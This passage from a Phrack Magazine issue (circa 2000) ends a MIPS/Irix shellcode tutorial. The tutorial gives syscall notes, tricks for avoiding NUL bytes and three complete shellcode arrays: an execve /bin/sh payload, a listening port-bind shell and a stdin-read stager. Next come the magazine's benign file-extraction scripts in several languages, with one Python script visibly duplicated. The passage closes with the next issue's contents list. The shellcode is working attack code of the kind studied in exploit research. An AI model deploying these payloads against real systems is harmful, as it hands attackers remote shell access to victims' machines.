‑‑‑‑‑

int fcntl (int fd, int cmd);

int fcntl (int fd, int cmd, long arg);

a0 = (int) fd

a1 = (int) cmd

a2 = (long) arg in case the command requires an argument v0 = SYS_fcntl = 1062 = 0x0426

return values

a3 = 0 on success, a3 != 0 on failure

v0 is the real return value and depends on the operation, see fcntl(2) for further information

fork

‑‑‑‑

int fork (void);

v0 = SYS_fork = 1002 = 0x03ea

return values

a3 = 0 on success, a3 != 0 on failure

v0 = 0 in child process, PID of child process in parent process

listen

‑‑‑‑‑‑

int listen (int s, int backlog);

a0 = (int) s

a1 = (int) backlog

v0 = SYS_listen = 1096 = 0x0448

return values

a3 = 0 on success, a3 != 0 on failure

read

‑‑‑‑

ssize_t read (int fd, void *buf, size_t count);

a0 = (int) fd

a1 = (void *) buf

a2 = (size_t) count

v0 = SYS_read = 1003 = 0x03eb

return values

a3 = 0 on success, a3 != 0 on failure

v0 = number of bytes read

socket

‑‑‑‑‑‑

int socket (int domain, int type, int protocol);

a0 = (int) domain

a1 = (int) type

a2 = (int) protocol

v0 = SYS_socket = 1107 = 0x0453

return values

a3 = 0 on success, a3 != 0 on failure

v0 = new socket

write

‑‑‑‑‑

int write (int fileno, void *buffer, int length);

a0 = (int) fileno

a1 = (void *) buffer

a2 = (int) length

v0 = SYS_write = 1004 = 0x03ec

return values

a3 = 0 on success, a3 != 0 on failure

v0 = number of bytes written

The dup2 functionality is not implemented as system call but as libc wrapper for close and fcntl. Basically the dup2 function looks like (simplified):

int dup2 (int des1, int des2)

{

int tmp_errno, maxopen;

maxopen = (int) ulimit (4, 0);

if (maxopen < 0)

{

maxopen = OPEN_MAX;

}

if (fcntl (des1, F_GETFL, 0) == ‑1)

{

_setoserror (EBADF);

return ‑1;

}

if (des2 >= maxopen || des2 < 0)

{

_setoserror (EBADF);

return ‑1;

}

if (des1 == des2)

{

return des2;

}

tmp_errno = _oserror();

close (des2);

_setoserror (tmp_errno);

return (fcntl (des1, F_DUPFD, des2));

}

So without the validation dup2 (des1, des2) can be rewritten as:

close (des2);

fcntl (des1, F_DUPFD, des2);

Which has been done in the portshell shellcode below.

‑‑‑‑| Common constructs

When writing shellcode there are always common operations, like getting the current address. Here are a few techniques that you can use in your shellcode:

‑ Getting the current address

li t8, ‑0x7350 /* load t8 with ‑0x7350 (leet) */

foo:bltzal t8, foo /* branch with $ra stored if t8 < 0 */

slti t8, zero, ‑1 /* t8 = 0 (see below) */

bar:

Because the slti instruction is in the branch delay slot when the bltzal is executed the next time the bltzal will not branch and t8 will remain zero. $ra holds the address of the bar label when the same label is reached.

‑ Loading small integer values

Because every instruction is 32 bits long you cannot immediately load a 32 bit value into a register but you have to use two instructions. Most of the time, however, you just want to load small values, below 256. Values below 2^16 are stored as a 16 bit value within the instruction and values below 256 will result in ugly NULL bytes, that should be avoided in proper shellcode. Therefore we use a trick to load such small values:

loading zero into reg (reg = 0):

slti reg, zero, ‑1

loading one into reg (reg = 1):

slti reg, zero, 0x0101

loading small integer values into reg (reg = value):

li t8, ‑valmod /* valmod = value + 1 */

not reg, t8

For example if we want to load 4 into reg we would use:

li t8, ‑5

not reg, t8

In case you need small values more than one time you can also store them into saved registers ($s0 ‑ $s7, optionally $s8).

‑ Moving registers

In normal MIPS assembly you would use the simple move instruction, which results in an "or" instruction, but in shellcode you have to avoid NUL bytes, and you can use this construction, if you know that the value in the register is below 0xffff (65535):

andireg, source, 0xffff

‑‑‑‑| Tuning the shellcode

I recommend that you write your shellcodes in normal MIPS assembly and afterwards start removing the NULL bytes from top to bottom. For simple load instructions you can use the constructs above. For essential instructions try to play with the different registers, in some cases NULL bytes may be removed from arithmetic and logic instructions by using higher registers, such as $t8 or $s7. Next try replacing the single instruction with two or three accomplishing the same. Make use of the return values of syscalls or known register contents. Be creative, use a MIPS instruction reference from [1] or [2] and your brain and you will always find a good replacement.

Once you made your shellcode NULL free you will notice the size has increased and your shellcode is quite bloated. Do not worry, this is normal, there is almost nothing you can do about it, RISC code is nearly always larger then the same code on x86. But you can do some small optimizations to decrease it's size. At first try to find replacements for instruction blocks, where more then one instruction is used to do one thing. Always take a look at the current register content and make use of return values or previously loaded values. Sometimes reordering helps you to avoid jumps.

‑‑‑‑| Example shellcode

All the shellcodes have been tested on the following systems, (thanks to vax, oxigen, zap and hendy):

R4000/6.2, R4000/6.5, R4400/5.3, R4400/6.2, R4600/5.3, R5000/6.5 and R10000/6.4.

<++> p56/MIPS‑shellcode/sh_execve.h !4959db03

/* 68 byte MIPS/Irix PIC execve shellcode. ‑scut/teso

*/

unsigned long int shellcode[] = {

0xafa0fffc,/* sw$zero, ‑4($sp)*/

0x24067350,/* li$a2, 0x7350*/

/* dpatch: */0x04d0ffff,/* bltzal$a2, dpatch*/

0x8fa6fffc,/* lw$a2, ‑4($sp)*/

/* a2 = (char **) envp = NULL */

0x240fffcb,/* li$t7, ‑53*/

0x01e07827,/* nor$t7, $t7, $zero*/

0x03eff821,/* addu$ra, $ra, $t7*/

/* a0 = (char *) pathname */

0x23e4fff8,/* addi$a0, $ra, ‑8*/

/* fix 0x42 dummy byte in pathname to shell */

0x8fedfffc,/* lw$t5, ‑4($ra)*/

0x25adffbe,/* addiu$t5, $t5, ‑66*/

0xafedfffc,/* sw$t5, ‑4($ra)*/

/* a1 = (char **) argv */

0xafa4fff8,/* sw$a0, ‑8($sp)*/

0x27a5fff8,/* addiu$a1, $sp, ‑8*/

0x24020423,/* li$v0, 1059 (SYS_execve)*/

0x0101010c,/* syscall*/

0x2f62696e,/* .ascii"/bin"*/

0x2f736842,/* .ascii"/sh", .byte 0xdummy*/

};

<‑‑>

<++> p56/MIPS‑shellcode/shc_portshell‑listener.h !db48e22a

/* 364 byte MIPS/Irix PIC listening portshell shellcode. ‑scut/teso

*/

unsigned long int shellcode[] = {

0x2416fffd,/* li$s6, ‑3*/

0x02c07027,/* nor$t6, $s6, $zero*/

0x01ce2025,/* or$a0, $t6, $t6*/

0x01ce2825,/* or$a1, $t6, $t6*/

0x240efff9,/* li$t6, ‑7*/

0x01c03027,/* nor$a2, $t6, $zero*/

0x24020453,/* li$v0, 1107 (socket)*/

0x0101010c,/* syscall*/

0x240f7350,/* li$t7, 0x7350 (nop)*/

0x3050ffff,/* andi$s0, $v0, 0xffff*/

0x280d0101,/* slti$t5, $zero, 0x0101*/

0x240effee,/* li$t6, ‑18*/

0x01c07027,/* nor$t6, $t6, $zero*/

0x01cd6804,/* sllv$t5, $t5, $t6*/

0x240e7350,/* li$t6, 0x7350 (port)*/

0x01ae6825,/* or$t5, $t5, $t6*/

0xafadfff0,/* sw$t5, ‑16($sp)*/

0xafa0fff4,/* sw$zero, ‑12($sp)*/

0xafa0fff8,/* sw$zero, ‑8($sp)*/

0xafa0fffc,/* sw$zero, ‑4($sp)*/

0x02102025,/* or$a0, $s0, $s0*/

0x240effef,/* li$t6, ‑17*/

0x01c03027,/* nor$a2, $t6, $zero*/

0x03a62823,/* subu$a1, $sp, $a2*/

0x24020442,/* li$v0, 1090 (bind)*/

0x0101010c,/* syscall*/

0x240f7350,/* li$t7, 0x7350 (nop)*/

0x02102025,/* or$a0, $s0, $s0*/

0x24050101,/* li$a1, 0x0101*/

0x24020448,/* li$v0, 1096 (listen)*/

0x0101010c,/* syscall*/

0x240f7350,/* li$t7, 0x7350 (nop)*/

0x02102025,/* or$a0, $s0, $s0*/

0x27a5fff0,/* addiu$a1, $sp, ‑16*/

0x240dffef,/* li$t5, ‑17*/

0x01a06827,/* nor$t5, $t5, $zero*/

0xafadffec,/* sw$t5, ‑20($sp)*/

0x27a6ffec,/* addiu$a2, $sp, ‑20*/

0x24020441,/* li$v0, 1089 (accept)*/

0x0101010c,/* syscall*/

0x240f7350,/* li$t7, 0x7350 (nop)*/

0x3057ffff,/* andi$s7, $v0, 0xffff*/

0x2804ffff,/* slti$a0, $zero, ‑1*/

0x240203ee,/* li$v0, 1006 (close)*/

0x0101010c,/* syscall*/

0x240f7350,/* li$t7, 0x7350 (nop)*/

0x02f72025,/* or$a0, $s7, $s7*/

0x2805ffff,/* slti$a1, $zero, ‑1*/

0x2806ffff,/* slti$a2, $zero, ‑1*/

0x24020426,/* li$v0, 1062 (fcntl)*/

0x0101010c,/* syscall*/

0x240f7350,/* li$t7, 0x7350 (nop)*/

0x28040101,/* slti$a0, $zero, 0x0101*/

0x240203ee,/* li$v0, 1006 (close)*/

0x0101010c,/* syscall*/

0x240f7350,/* li$t7, 0x7350 (nop)*/

0x02f72025,/* or$a0, $s7, $s7*/

0x2805ffff,/* slti$a1, $zero, ‑1*/

0x28060101,/* slti$a2, $zero, 0x0101*/

0x24020426,/* li$v0, 1062 (fcntl)*/

0x0101010c,/* syscall*/

0x240f7350,/* li$t7, 0x7350*/

0x02c02027,/* nor$a0, $s6, $zero*/

0x240203ee,/* li$v0, 1006 (close)*/

0x0101010c,/* syscall*/

0x240f7350,/* li$t7, 0x7350 (nop)*/

0x02f72025,/* or$a0, $s7, $s7*/

0x2805ffff,/* slti$a1, $zero, ‑1*/

0x02c03027,/* nor$a2, $s6, $zero*/

0x24020426,/* li$v0, 1062 (fcntl)*/

0x0101010c,/* syscall*/

0x240f7350,/* li$t7, 0x7350 (nop)*/

0xafa0fffc,/* sw$zero, ‑4($sp)*/

0x24068cb0,/* li$a2, ‑29520*/

0x04d0ffff,/* bltzal$a2, pc‑4*/

0x8fa6fffc,/* lw$a2, ‑4($sp)*/

0x240fffc7,/* li$t7, ‑57*/

0x01e07827,/* nor$t7, $t7, $zero*/

0x03eff821,/* addu$ra, $ra, $t7*/

0x23e4fff8,/* addi$a0, $ra, ‑8*/

0x8fedfffc,/* lw$t5, ‑4($ra)*/

0x25adffbe,/* addiu$t5, $t5, ‑66*/

0xafedfffc,/* sw$t5, ‑4($ra)*/

0xafa4fff8,/* sw$a0, ‑8($sp)*/

0x27a5fff8,/* addiu$a1, $sp, ‑8*/

0x24020423,/* li$v0, 1059 (execve)*/

0x0101010c,/* syscall*/

0x240f7350,/* li$t7, 0x7350 (nop)*/

0x2f62696e,/* .ascii"/bin"*/

0x2f736842,/* .ascii"/sh", .byte 0xdummy*/

};

<‑‑>

<++> p56/MIPS‑shellcode/shc_read.h !1996c2bb

/* 40 byte MIPS/Irix PIC stdin‑read shellcode. ‑scut/teso

*/

unsigned long int shellcode[] = {

0x24048cb0,/* li$a0, ‑0x7350*/

/* dpatch: */0x0490ffff,/* bltzal$a0, dpatch*/

0x2804ffff,/* slti$a0, $zero, ‑1*/

0x240fffe3,/* li$t7, ‑29*/

0x01e07827,/* nor$t7, $t7, $zero*/

0x03ef2821,/* addu$a1, $ra, $t7*/

0x24060201,/* li$a2, 0x0201 (513 bytes)*/

0x240203eb,/* li$v0, SYS_read*/

0x0101010c,/* syscall*/

0x24187350,/* li$t8, 0x7350 (nop)*/

};

<‑‑>

‑‑‑‑| References

For further information you may want to consult this excellent references:

[1] See MIPS Run

Dominic Sweetman, Morgan Kaufmann Publishers

ISBN 1‑55860‑410‑3

[2] MIPSPro Assembly Language Programmer's Guide ‑ Volume 1/2 Document Number 007‑2418‑001

http://www.mips.com/ and http://www.sgi.com/

|EOF|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Magazine Extraction Utility

‑ P H R A C K M A G A Z I N E ‑

Volume 0xa Issue 0x38

05.01.2000

0x10[0x10]

|‑‑‑‑‑‑‑‑‑‑‑‑‑ P H R A C K E X T R A C T I O N U T I L I T Y ‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ phrack staff ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

The Phrack Magazine Extraction Utility, first appearing in P50, is a convenient way to extract code from textual ASCII articles. It preserves readability and 7‑bit clean ASCII codes. As long as there are no extraneous "<++>" or <‑‑>" in the article, everything runs swimmingly.

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> p56/EX/PMEU/extract4.c !8e2bebc6

/*

* extract.c by Phrack Staff and sirsyko

*

* Copyright (c) 1997 ‑ 2000 Phrack Magazine

*

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*

* extract.c

* Extracts textfiles from a specially tagged flatfile into a hierarchical * directory structure. Use to extract source code from any of the articles * in Phrack Magazine (first appeared in Phrack 50).

*

* Extraction tags are of the form:

*

* host:~> cat testfile

* irrelevant file contents

* <++> path_and_filename1 !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* <++> path_and_filename2 !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* <++> path_and_filenamen !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* EOF

*

* The `!CRC` is optional. The filename is not. To generate crc32 values * for your files, simply give them a dummy value initially. The program * will attempt to verify the crc and fail, dumping the expected crc value. * Use that one. i.e.:

*

* host:~> cat testfile

* this text is ignored by the program

* <++> testarooni !12345678

* text to extract into a file named testarooni

* as is this text

* <‑‑>

*

* host:~> ./extract testfile

* Opened testfile

* ‑ Extracting testarooni

* crc32 failed (12345678 != 4a298f18)

* Extracted 1 file(s).

*

* You would use `4a298f18` as your crc value.

*

* Compilation:

* gcc ‑o extract extract.c

*

* ./extract file1 file2 ... filen

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <string.h>

#include <dirent.h>

#include <fcntl.h>

#include <unistd.h>

#include <errno.h>

#define VERSION "7niner.20000430 revsion q"

#define BEGIN_TAG "<++> "

#define END_TAG "<‑‑>"

#define BT_SIZE strlen(BEGIN_TAG)

#define ET_SIZE strlen(END_TAG)

#define EX_DO_CHECKS 0x01

#define EX_QUIET 0x02

struct f_name

{

u_char name[256];

struct f_name *next;

};

unsigned long crcTable[256];

void crcgen()

{

unsigned long crc, poly;

int i, j;

poly = 0xEDB88320L;

for (i = 0; i < 256; i++)

{

crc = i;

for (j = 8; j > 0; j‑‑)

{

if (crc & 1)

{

crc = (crc >> 1) ^ poly;

}

else

{

crc >>= 1;

}

}

crcTable[i] = crc;

}

}

unsigned long check_crc(FILE *fp)

{

register unsigned long crc;

int c;

crc = 0xFFFFFFFF;

while( (c = getc(fp)) != EOF )

{

crc = ((crc >> 8) & 0x00FFFFFF) ^ crcTable[(crc ^ c) & 0xFF]; }

if (fseek(fp, 0, SEEK_SET) == ‑1)

{

perror("fseek");

exit(EXIT_FAILURE);

}

return (crc ^ 0xFFFFFFFF);

}

int

main(int argc, char **argv)

{

char *name;

u_char b[256], *bp, *fn, flags;

int i, j = 0, h_c = 0, c;

unsigned long crc = 0, crc_f = 0;

FILE *in_p, *out_p = NULL;

struct f_name *fn_p = NULL, *head = NULL, *tmp = NULL;

while ((c = getopt(argc, argv, "cqv")) != EOF)

{

switch (c)

{

case 'c':

flags |= EX_DO_CHECKS;

break;

case 'q':

flags |= EX_QUIET;

break;

case 'v':

fprintf(stderr, "Extract version: %s\n", VERSION); exit(EXIT_SUCCESS);

}

}

c = argc ‑ optind;

if (c < 2)

{

fprintf(stderr, "Usage: %s [‑cqv] file1 file2 ... filen\n", argv[0]); exit(0);

}

/*

* Fill the f_name list with all the files on the commandline (ignoring * argv[0] which is this executable). This includes globs. */

for (i = 1; (fn = argv[i++]); )

{

if (!head)

{

if (!(head = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc"); exit(EXIT_FAILURE);

}

strncpy(head‑>name, fn, sizeof(head‑>name)); head‑>next = NULL;

fn_p = head;

}

else

{

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc"); exit(EXIT_FAILURE);

}

fn_p = fn_p‑>next;

strncpy(fn_p‑>name, fn, sizeof(fn_p‑>name)); fn_p‑>next = NULL;

}

}

/*

* Sentry node.

*/

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc");

exit(EXIT_FAILURE);

}

fn_p = fn_p‑>next;

fn_p‑>next = NULL;

/*

* Check each file in the f_name list for extraction tags. */

for (fn_p = head; fn_p‑>next; )

{

if (!strcmp(fn_p‑>name, "‑"))

{

in_p = stdin;

name = "stdin";

}

else if (!(in_p = fopen(fn_p‑>name, "r")))

{

fprintf(stderr, "Could not open input file %s.\n", fn_p‑>name); fn_p = fn_p‑>next;

continue;

}

else

{

name = fn_p‑>name;

}

if (!(flags & EX_QUIET))

{

fprintf(stderr, "Scanning %s...\n", fn_p‑>name); }

crcgen();

while (fgets(b, 256, in_p))

{

if (!strncmp(b, BEGIN_TAG, BT_SIZE))

{

b[strlen(b) ‑ 1] = 0; /* Now we have a string. */

j++;

crc = 0;

crc_f = 0;

if ((bp = strchr(b + BT_SIZE + 1, '/'))) {

while (bp)

{

*bp = 0;

if (mkdir(b + BT_SIZE, 0700) == ‑1 && errno != EEXIST) { perror("mkdir"); exit(EXIT_FAILURE); }

*bp = '/';

bp = strchr(bp + 1, '/');

}

}

if ((bp = strchr(b, '!')))

{

crc_f =

strtoul((b + (strlen(b) ‑ strlen(bp)) + 1), NULL, 16); b[strlen(b) ‑ strlen(bp) ‑ 1 ] = 0; h_c = 1;

}

else

{

h_c = 0;

}

if ((out_p = fopen(b + BT_SIZE, "wb+"))) {

fprintf(stderr, ". Extracting %s\n", b + BT_SIZE); }

else

{

printf(". Could not extract anything from '%s'.\n", b + BT_SIZE);

continue;

}

}

else if (!strncmp (b, END_TAG, ET_SIZE))

{

if (out_p)

{

if (h_c == 1)

{

if (fseek(out_p, 0l, 0) == ‑1) { perror("fseek"); exit(EXIT_FAILURE); }

crc = check_crc(out_p); if (crc == crc_f && !(flags & EX_QUIET)) { fprintf(stderr, ". CRC32 verified (%08lx)\n", crc); }

else

{

if (!(flags & EX_QUIET))

{

fprintf(stderr, ". CRC32 failed (%08lx != %08lx)\n",

crc_f, crc);

}

}

}

fclose(out_p);

}

else

{

fprintf(stderr, ". `%s` had bad tags.\n", fn_p‑>name); continue;

}

}

else if (out_p)

{

fputs(b, out_p);

}

}

if (in_p != stdin)

{

fclose(in_p);

}

tmp = fn_p;

fn_p = fn_p‑>next;

free(tmp);

}

if (!j)

{

printf("No extraction tags found in list.\n");

}

else

{

printf("Extracted %d file(s).\n", j);

}

return (0);

}

/* EOF */

<‑‑>

<++> p56/EX/PMEU/extract.pl !1a19d427

# Daos <daos@nym.alias.net>

#!/bin/sh ‑‑ # ‑*‑ perl ‑*‑ ‑n

eval 'exec perl $0 ‑S ${1+"$@"}' if 0;

$opening=0;

if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};

if (/^\<\‑\‑\>/) {close ct_ex; $opened=0;};

if ($opening) {

chop $curfile;

$sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);

eval {mkdir $sex_dir, "0777";}; open(ct_ex,">$curfile");

print "Attempting extraction of $curfile\n"; $opened=1;

}

if ($opened && !$opening) {print ct_ex $_};

<‑‑>

<++> p56/EX/PMEU/extract.awk !26522c51

#!/usr/bin/awk ‑f

#

# Yet Another Extraction Script

# ‑ <sirsyko>

#

/^\<\+\+\>/ {

ind = 1

File = $2

split ($2, dirs, "/")

Dir="."

while ( dirs[ind+1] ) { Dir=Dir"/"dirs[ind]

system ("mkdir " Dir" 2>/dev/null") ++ind

}

next

}

/^\<\‑\‑\>/ {

File = ""

next

}

File { print >> File }

<‑‑>

<++> p56/EX/PMEU/extract.sh !a81a2320

#!/bin/sh

# exctract.sh : Written 9/2/1997 for the Phrack Staff by <sirsyko> #

# note, this file will create all directories relative to the current directory # originally a bug, I've now upgraded it to a feature since I dont want to deal # with the leading / (besides, you dont want hackers giving you full pathnames # anyway, now do you :)

# Hopefully this will demonstrate another useful aspect of IFS other than # haxoring rewt

#

# Usage: ./extract.sh <filename>

cat $* | (

Working=1

while [ $Working ];

do

OLDIFS1="$IFS"

IFS=

if read Line; then

IFS="$OLDIFS1"

set ‑‑ $Line

case "$1" in

"<++>") OLDIFS2="$IFS" IFS=/

set ‑‑ $2 IFS="$OLDIFS2" while [ $# ‑gt 1 ]; do

File=${File:‑"."}/$1

if [ ! ‑d $File ]; then

echo "Making dir $File"

mkdir $File

fi

shift

done

File=${File:‑"."}/$1 echo "Storing data in $File" ;;

"<‑‑>") if [ "x$File" != "x" ]; then

unset File

fi ;;

*) if [ "x$File" != "x" ]; then

IFS=

echo "$Line" >> $File

IFS="$OLDIFS1"

fi

;;

esac

IFS="$OLDIFS1"

else

echo "End of file"

unset Working

fi

done

)

<‑‑>

<++> p56/EX/PMEU/extract.py !83f65f60

#! /bin/env python

# extract.py Timmy 2tone <_spoon_@usa.net>

import sys, string, getopt, os

class Datasink:

"""Looks like a file, but doesn't do anything."""

def write(self, data): pass

def close(self): pass

def extract(input, verbose = 1):

"""Read a file from input until we find the end token."""

if type(input) == type('string'):

fname = input

try: input = open(fname)

except IOError, (errno, why):

print "Can't open %s: %s" % (fname, why) return errno

else:

fname = '<file descriptor %d>' % input.fileno()

inside_embedded_file = 0

linecount = 0

line = input.readline()

while line:

if not inside_embedded_file and line[:4] == '<++>':

inside_embedded_file = 1

linecount = 0

filename = string.strip(line[4:])

if mkdirs_if_any(filename) != 0:

pass

try: output = open(filename, 'w')

except IOError, (errno, why):

print "Can't open %s: %s; skipping file" % (filename, why) output = Datasink()

continue

if verbose:

print 'Extracting embedded file %s from %s...' % (filename,

fname),

elif inside_embedded_file and line[:4] == '<‑‑>': output.close()

inside_embedded_file = 0

if verbose and not isinstance(output, Datasink): print '[%d lines]' % linecount

elif inside_embedded_file:

output.write(line)

# Else keep looking for a start token.

line = input.readline()

linecount = linecount + 1

def mkdirs_if_any(filename, verbose = 1):

"""Check for existance of /'s in filename, and make directories."""

path, file = os.path.split(filename)

if not path: return

errno = 0

start = os.getcwd()

components = string.split(path, os.sep)

for dir in components:

if not os.path.exists(dir):

try:

os.mkdir(dir)

if verbose: print 'Created directory', path

except os.error, (errno, why):

print "Can't make directory %s: %s" % (dir, why) break

try: os.chdir(dir)

except os.error, (errno, why):

print "Can't cd to directory %s: %s" % (dir, why) break

os.chdir(start)

return errno

def usage():

"""Blah."""

die('Usage: extract.py [‑V] filename [filename...]')

def main():

try: optlist, args = getopt.getopt(sys.argv[1:], 'V') except getopt.error, why: usage()

if len(args) <= 0: usage()

if ('‑V', '') in optlist: verbose = 0

else: verbose = 1

for filename in args:

if verbose: print 'Opening source file', filename + '...' extract(filename, verbose)

def db(filename = 'P51‑11'):

"""Run this script in the python debugger."""

import pdb

sys.argv[1:] = ['‑v', filename]

pdb.run('extract.main()')

def die(msg, errcode = 1):

print msg

sys.exit(errcode)

if __name__ == '__main__':

try: main()

except KeyboardInterrupt: pass

except getopt.error, why: usage()

if len(args) <= 0: usage()

if ('‑V', '') in optlist: verbose = 0

else: verbose = 1

for filename in args:

if verbose: print 'Opening source file', filename + '...' extract(filename, verbose)

def db(filename = 'P51‑11'):

"""Run this script in the python debugger."""

import pdb

sys.argv[1:] = [filename]

pdb.run('extract.main()')

def die(msg, errcode = 1):

print msg

sys.exit(errcode)

if __name__ == '__main__':

try: main()

except KeyboardInterrupt: pass # No messy traceback. <‑‑>

<++> p56/EX/PMEU/extract‑win.c !e519375d

/***************************************

/* WinExtract

/*

/* Written by Fotonik <fotonik@game‑master.com>. */

/*

/* Coding of WinExtract started on 22aug98. */

/*

/* This version (1.0) was last modified on 22aug98. */

/*

/* This is a Win32 program to extract text files from a specially tagged */

/* flat file into a hierarchical directory structure. Use to extract */

/* source code from articles in Phrack Magazine. The latest version of */

/* this program (both source and executable codes) can be found on my */

/* website: http://www.altern.com/fotonik */

/***************************************

#include <stdio.h>

#include <string.h>

#include <windows.h>

void PowerCreateDirectory(char *DirectoryName);

int WINAPI WinMain(HINSTANCE hThisInst, HINSTANCE hPrevInst, LPSTR lpszArgs, int nWinMode)

{

OPENFILENAME OpenFile; /* Structure for Open common dialog box */

char InFileName[256]="";

char OutFileName[256];

char Title[]="WinExtract ‑ Choose a file to extract files from."; FILE *InFile;

FILE *OutFile;

char Line[256];

char DirName[256];

int FileExtracted=0; /* Flag used to determine if at least one file was */

int i; /* extracted */

ZeroMemory(&OpenFile, sizeof(OPENFILENAME)); OpenFile.lStructSize=sizeof(OPENFILENAME); OpenFile.hwndOwner=HWND_DESKTOP;

OpenFile.hInstance=hThisInst;

OpenFile.lpstrFile=InFileName; OpenFile.nMaxFile=sizeof(InFileName)‑1;

OpenFile.lpstrTitle=Title;

OpenFile.Flags=OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;

if(GetOpenFileName(&OpenFile))

{

if((InFile=fopen(InFileName,"r"))==NULL)

{

MessageBox(NULL,"Could not open file.",NULL,MB_OK); return 0;

}

/* If we got here, InFile is opened. */

while(fgets(Line,256,InFile))

{

if(!strncmp(Line,"<++> ",5)) /* If line begins with "<++> " */

{

Line[strlen(Line)‑1]='\0'; strcpy(OutFileName,Line+5);

/* Check if a dir has to be created and create one if necessary */

for(i=strlen(OutFileName)‑1;i>=0;i‑‑)

{ if((OutFileName[i]=='\\')||(OutFileName[i]=='/')) {

strncpy(DirName,OutFileName,i); DirName[i]='\0'; PowerCreateDirectory(DirName); break;

}

}

if((OutFile=fopen(OutFileName,"w"))==NULL)

{

MessageBox(NULL,"Could not create file.",NULL,MB_OK); fclose(InFile);

return 0;

}

/* If we got here, OutFile can be written to */

while(fgets(Line,256,InFile))

{

if(strncmp(Line,"<‑‑>",4)) /* If line doesn't begin w/ "<‑‑>" */

{

fputs(Line, OutFile);

}

else

{

break;

}

}

fclose(OutFile);

FileExtracted=1;

}

}

fclose(InFile);

if(FileExtracted)

{

MessageBox(NULL,"Extraction sucessful.","WinExtract",MB_OK); }

else

{

MessageBox(NULL,"Nothing to extract.","Warning",MB_OK); }

}

return 1;

}

/* PowerCreateDirectory is a function that creates directories that are */

/* down more than one yet unexisting directory levels. (e.g. c:\1\2\3) */

void PowerCreateDirectory(char *DirectoryName)

{

int i;

int DirNameLength=strlen(DirectoryName);

char DirToBeCreated[256];

for(i=1;i<DirNameLength;i++) /* i starts at 1, because we never need to */

{ /* create '/' */

if((DirectoryName[i]=='\\')||(DirectoryName[i]=='/')|| (i==DirNameLength‑1))

{

strncpy(DirToBeCreated,DirectoryName,i+1); DirToBeCreated[i+1]='\0'; CreateDirectory(DirToBeCreated,NULL);

}

}

}

<‑‑>

57

- Introduction by Phrack Staff

- Phrack Loopback by Phrack Staff

- Phrack Line Noise by Phrack Staff

- Editorial policy by Phrack Staff

- IA64 shellcode by papasutra

- Taranis read your e-mail by jwilkins

- ICMP based OS fingerprinting by Ofir Arkin & Fyodor Yarochkin

- Vudo malloc tricks by MaXX

- Once upon a free() by anonymous author

- Against the System by Michal Zalewski

- Holistic approaches to attack detection by sasha

- NIDS on mass parallel processing architecture by storm

- Hang on, snoopy by stealth

- Architecture spanning shellcode by eugene

- Writing ia32 alphanumeric shellcodes by rix

- Cupass and the netuserchangepassword problem by D.Holiday

- Phrack World News by Phrack Staff

- Phrack magazine extraction utility by Phrack Staff

Introduction

........... ......

a;:045555558899110::a .;;;77777777;;o

";8" """'''''''""""` ''' ^77;'

";8" ^7;'

";8" __ 7!;'

";8"..aaa;;9999;;;aa.. 76;

"823p" '''''' 2"^ 52;

;8^ ";;^ '23;

;P;^ '6^ '57;

;8;^ '6^ ;&'

"@;^ ";;8^ .. ,,,_ ...._ ...

'@;^ ..... 2^" ^G7; HH; ;R3!1@#' a;AAAAa; .###;. !@ .!" !# ‑+;44319110100~" !#' HH: ;1@ !2; a;^ a; ;3 .!@ !;^

!@"` '' '''''' @#$@!!HH; '1!' !@; a;^ 8; ;' ;1; #!

!@^ "13 "1^ ;!@#57RR: a;26088; ;' ;!@!!!' !@^ "53! "!2 '!@ ^R; a; ;; '# ;!1''!@^ !@^ '11 '11 !@ ^; '' '' '33;; '1' !;

!^ '' ;

'

; . '

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x01 of 0x12

...and the Jedi Knight replied with a strong tongue:

